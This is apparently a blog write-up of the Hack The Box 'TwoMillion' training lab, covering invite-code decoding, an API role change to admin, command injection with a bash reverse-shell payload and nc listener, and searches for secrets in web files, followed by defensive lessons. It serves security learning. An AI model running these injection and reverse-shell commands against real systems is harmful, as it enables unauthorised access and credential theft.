Post

Hack The Box: TwoMillion (Easy) — My Experience

Hack The Box: TwoMillion (Easy) — My Experience

Hack The Box: TwoMillion (Easy)

I picked up TwoMillion after a long week because I wanted something that felt fun, fast, and a little nostalgic. It’s one of those HTB boxes that rewards curiosity more than heavy tooling—perfect for a quick win and a reminder that reading what’s right in front of you is often enough.

Legal note: This is about my experience on a legal training lab.

First Impressions

I did a quick scan and headed straight to the website. The UI felt familiar—HTB throwback style—with an invite flow that immediately made me think: “There’s probably something helpful hiding in the client code.” That hunch paid off. No brute forcing.

What I enjoyed here was the reminder that client-side JavaScript can be a treasure map. Reading it felt like walking behind the scenes and finding the door that everyone assumes is locked.

1
2
3
4
5
6
7
8
9
10
# Quick scan
export TARGET=<IP>
nmap -p- -sC -sV -oN nmap_full $TARGET

# Peek at the client JS to discover invite endpoints
curl -s http://$TARGET/js/inviteapi.min.js | sed 's/;/;\n/g' | head -n 60

# Generate and decode the invite
curl -s "http://$TARGET/api/invite/generate" | jq -r '.data' | tee invite.b64
cat invite.b64 | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m' | tee invite.txt

The Little Nudge That Opened The Door

Once I registered and poked around, I watched the network calls and noticed how roles were being handled. It was one of those “surely this is checked server‑side… right?” moments. It wasn’t. A tiny change and—boom—an Admin panel appeared. That mix of surprise and “I knew it” is the best part of these easier machines.

1
2
3
4
5
# Conceptual example: promoting my role after login
curl -i -X POST "http://$TARGET/api/user/role" \
  -H "Cookie: <your-session-cookie>" \
  -H "Content-Type: application/json" \
  --data '{"role":"admin"}'

Getting a Shell (And Keeping It)

The admin “network tool” practically built shell commands for me. It’s the classic trap: convenience over safety. A quick injection later I had a shell. I stabilized it out of habit and did my usual sweep—users, services, config paths. Nothing dramatic, just tidy and methodical.

1
2
3
4
5
6
7
8
9
10
11
12
# Listener
rlwrap nc -lvnp 4444

# Injection payload (Linux bash)
;bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'

# Stabilize and quick triage
script /dev/null -c bash
stty raw -echo; fg
export TERM=xterm-256color
id; whoami; hostname; ip a
ls -al /home; cat /etc/os-release

PrivEsc Thoughts

For escalation I kept it simple: check sudo, peek at SUIDs, and read through the web app’s files for secrets. Depending on the kernel build, there are well‑known locals that might apply—but I don’t fire those unless I need to. In my run, good hygiene and a bit of config snooping were enough to finish.

1
2
3
4
5
6
7
8
9
# Quick checks I ran
sudo -l || true
find / -perm -4000 -type f 2>/dev/null
grep -R "PASSWORD\|SECRET\|TOKEN" -n /var/www 2>/dev/null
ls -al /opt /srv /var/backups

# If containers are present
docker ps -a || true
getent group docker || true

Flags

  • User flag: Collected after the foothold.
  • Root/Admin flag: Wrapped up after escalation.

If This Were My App

  • I’d treat invite flows like auth: rate‑limit, validate, and never rely on clever encoding.
  • Role changes must be enforced server‑side. The client can request, but the server decides.
  • Admin utilities should never wrap raw shell; whitelist flags or use safe libraries.
  • Secrets belong outside the web root with strict permissions.
  • Ship patches regularly; locals shouldn’t be one‑command escalations.

What Stuck With Me

  • Reading client JS first saved time—it literally pointed me to the right door.
  • Security isn’t about obscurity or “nice UI”; it’s about boring, consistent validation.
  • The fastest path is often the cleanest one: be curious, read the code, then move.
This post is licensed under CC BY 4.0 by the author.